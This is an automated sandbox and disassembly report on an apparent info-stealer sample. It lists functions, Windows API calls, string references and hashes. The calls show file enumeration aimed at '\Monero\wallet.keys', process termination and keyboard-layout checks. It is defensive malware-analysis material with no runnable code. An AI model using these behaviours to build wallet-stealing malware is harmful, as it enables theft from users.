Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 57b57b2679e4f2f6bf35707b3320de5683221251837e85f9952a7d52d6e8cb2f
Instruction ID: 505449d8ef3fb29e46824f18a7d009bc593b0c68ad48b578eff7b2cf4149045f
Opcode Fuzzy Hash: 57b57b2679e4f2f6bf35707b3320de5683221251837e85f9952a7d52d6e8cb2f
Instruction Fuzzy Hash: 6A121A769505289BDB29FB64CCA6AEE7379EF54300F4045E9B50A62091EF306B88CF71

Function 00D3DF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00D50C32), ref: 00D3DF5E
StrCmpCA.SHLWAPI(?,00D515C0), ref: 00D3DFAE
StrCmpCA.SHLWAPI(?,00D515C4), ref: 00D3DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3E4E0
FindClose.KERNEL32(000000FF), ref: 00D3E4F2

Strings

\*.*, xrefs: 00D3DF26

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 1a70e71bc91827f85fae58798e1a71b465921301a17f9c075a8e0695ee6f6765
Instruction ID: 1f1822cc7145e52b0d0ddd8587fe8f9bceb684d1346f67ce146bffb3b0f79e3f
Opcode Fuzzy Hash: 1a70e71bc91827f85fae58798e1a71b465921301a17f9c075a8e0695ee6f6765
Instruction Fuzzy Hash: 28F1B9759505289BDB29FB64CDA6EEE7339EF54340F4045DAA40A62091EF306F88CF72

Function 00D3DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D515A8,00D50BAF), ref: 00D3DBEB
StrCmpCA.SHLWAPI(?,00D515AC), ref: 00D3DC33
StrCmpCA.SHLWAPI(?,00D515B0), ref: 00D3DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3DECC
FindClose.KERNEL32(000000FF), ref: 00D3DEDE

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a343413d82ae9b3ff5b6d083cf3fbac5932a9b52e547abbeda6dec243b7edc62
Instruction ID: 28bb93b2946d8f3dc044907221c48a64bf2a89414d71f3717d0d28c6ad966276
Opcode Fuzzy Hash: a343413d82ae9b3ff5b6d083cf3fbac5932a9b52e547abbeda6dec243b7edc62
Instruction Fuzzy Hash: 5D914272A001149BDB14FF74ED969ED733EEF94340F004569F94A96185EE34AB08CBB2

Function 00D498E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D49905
Process32First.KERNEL32(00D39FDE,00000128), ref: 00D49919
Process32Next.KERNEL32(00D39FDE,00000128), ref: 00D4992E
StrCmpCA.SHLWAPI(?,00D39FDE), ref: 00D49943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D4995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 00D4997A
CloseHandle.KERNEL32(00000000), ref: 00D49987
CloseHandle.KERNEL32(00D39FDE), ref: 00D49993

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 535db8d7a098ed20ecd486f32325b9e68f052a62abd2bfaf4207adc5234cd2c6
Instruction ID: f1b6a10717ca151d9129fc5a6d91aa91426dcd77a26a2d3aa36cf0977f8ce2be
Opcode Fuzzy Hash: 535db8d7a098ed20ecd486f32325b9e68f052a62abd2bfaf4207adc5234cd2c6
Instruction Fuzzy Hash: A8113375910208EBCB25DFA5DC48BDEB779BB48700F00458CF585A7284D779AB84CFA0

Function 00D47D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

GetKeyboardLayoutList.USER32(00000000,00000000,00D505B7), ref: 00D47D71
LocalAlloc.KERNEL32(00000040,?), ref: 00D47D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00D47D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D47DF2
LocalFree.KERNEL32(00000000), ref: 00D47EB2

Strings

/ , xrefs: 00D47E0F

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f882e491c936a1d7822d5d931f75d882d247420bdbd4cfab9e45a9fae5d5bef8
Instruction ID: 0e3c588aae7a9771ddb239d88c03e19c17f0269be6d3c2941bde111c439fcc63
Opcode Fuzzy Hash: f882e491c936a1d7822d5d931f75d882d247420bdbd4cfab9e45a9fae5d5bef8
Instruction Fuzzy Hash: 81411A71940218ABDB24DF98DC99BEEB778FB44700F2041D9E50A66281DB746F88CFB1

Function 00D3E530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00D50D79), ref: 00D3E5A2
StrCmpCA.SHLWAPI(?,00D515F0), ref: 00D3E5F2
StrCmpCA.SHLWAPI(?,00D515F4), ref: 00D3E608
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3ECDF

Strings

\*.*, xrefs: 00D3E54D

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 501271cecc0a2089052dd284233d1835da36b9177a6cbd2240c118437f929df8
Instruction ID: bf4eb1dd8cee638e4f637b174490925ed8ca55ab98fc7947fce44f4d5e68c139
Opcode Fuzzy Hash: 501271cecc0a2089052dd284233d1835da36b9177a6cbd2240c118437f929df8
Instruction Fuzzy Hash: 0A121D76A501189BEB14FB64DDA6AEE7339EF54300F4045E9B50A62091EF346F48CFB2

Function 01186739 Relevance: 9.2, Strings: 6, Instructions: 1687COMMON

Download Yara Rule

Strings

YWj, xrefs: 0118695F
EQp, xrefs: 01186999, 011869A2, 011869EB
u9_, xrefs: 01186C35
RBwo, xrefs: 011878A8
n, xrefs: 011879A6
jxg, xrefs: 01187A07

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: EQp$RBwo$YWj$jxg$u9_$n
API String ID: 0-1191438222
Opcode ID: bfe19114aee5d563e579ec6762ab5dc5d4207f6ae7c2c54ba5d81645e874ab67
Instruction ID: a6bd27328b40b7878d5a20d9d8cf952183a489d3c64363febce8a048104c188c
Opcode Fuzzy Hash: bfe19114aee5d563e579ec6762ab5dc5d4207f6ae7c2c54ba5d81645e874ab67
Instruction Fuzzy Hash: B4B229F360C204AFE308AE2DEC8567AFBD9EF94720F16853DE6C5C7744EA3558018696

Function 0118B60E Relevance: 9.1, Strings: 6, Instructions: 1592COMMON

Download Yara Rule

Strings

J_o, xrefs: 0118BF55
JD, xrefs: 0118C54D
+l}_, xrefs: 0118B88E
d0aW, xrefs: 0118C52C
*@}{, xrefs: 0118C532
,M*(, xrefs: 0118C3A7

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *@}{$+l}_$,M*($J_o$d0aW$JD
API String ID: 0-2479629521
Opcode ID: b29de0ebcc7296009acaf306a26ce7fc0b60650a5fcb71389e8b5279f970521a
Instruction ID: a78eaa94c672e1ee5e255aec7438f999a90a44deceae7f206da7f33537f4e6af
Opcode Fuzzy Hash: b29de0ebcc7296009acaf306a26ce7fc0b60650a5fcb71389e8b5279f970521a
Instruction Fuzzy Hash: 1AB208F360C2049FE304AE2DEC8567AFBE9EF94720F1A853DEAC5C3744E63558058696

Function 0119051F Relevance: 9.1, Strings: 6, Instructions: 1583COMMON

Download Yara Rule

Strings

y {>, xrefs: 01190F3D
p_{, xrefs: 011909A3
xw|, xrefs: 0119139C
E?~, xrefs: 01191485
xw|, xrefs: 0119138A
E?~, xrefs: 0119140E

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E?~$E?~$p_{$y {>$xw|$xw|
API String ID: 0-3861228067
Opcode ID: a9b836dd127380245a01ee22c81b139f97071f000dd7441fe10956b5cbb9508b
Instruction ID: 1d6fa6819fd191e89bc76c3eca5af569799d41242ffa58fdea0ce44fadfe7347
Opcode Fuzzy Hash: a9b836dd127380245a01ee22c81b139f97071f000dd7441fe10956b5cbb9508b
Instruction Fuzzy Hash: D8B2F6F360C214AFE304AE29EC8567AFBE9EF94720F16493DEAC4C7340E67558418697

Function 0118D050 Relevance: 7.9, Strings: 5, Instructions: 1651COMMON

Download Yara Rule

Strings

+6_, xrefs: 0118E252
[i, xrefs: 0118DC3B
!EW:, xrefs: 0118D0BD
[3]}, xrefs: 0118DE9F
ck_u, xrefs: 0118D750

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !EW:$+6_$[3]}$ck_u$[i
API String ID: 0-2810132593
Opcode ID: 539974bd87a752543092940c8fba427dd457855cc22419e53a7623c78d440f6d
Instruction ID: 7e5bd1dedcb4d71cc306f3e9695382beb5d0aeb24a1dc70ce38e8d201091b51c
Opcode Fuzzy Hash: 539974bd87a752543092940c8fba427dd457855cc22419e53a7623c78d440f6d
Instruction Fuzzy Hash: 2BB21AF3A0C2049FE304AE2DEC8567AF7E9EBD4720F16893DE6C4C3744E97558058696

Function 01189CBA Relevance: 7.8, Strings: 5, Instructions: 1548COMMON

Download Yara Rule

Strings

3un, xrefs: 0118AE26
~(x}, xrefs: 0118A219
i{, xrefs: 0118ADB1
(J@, xrefs: 0118A9BC
oOq|, xrefs: 01189EAC

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
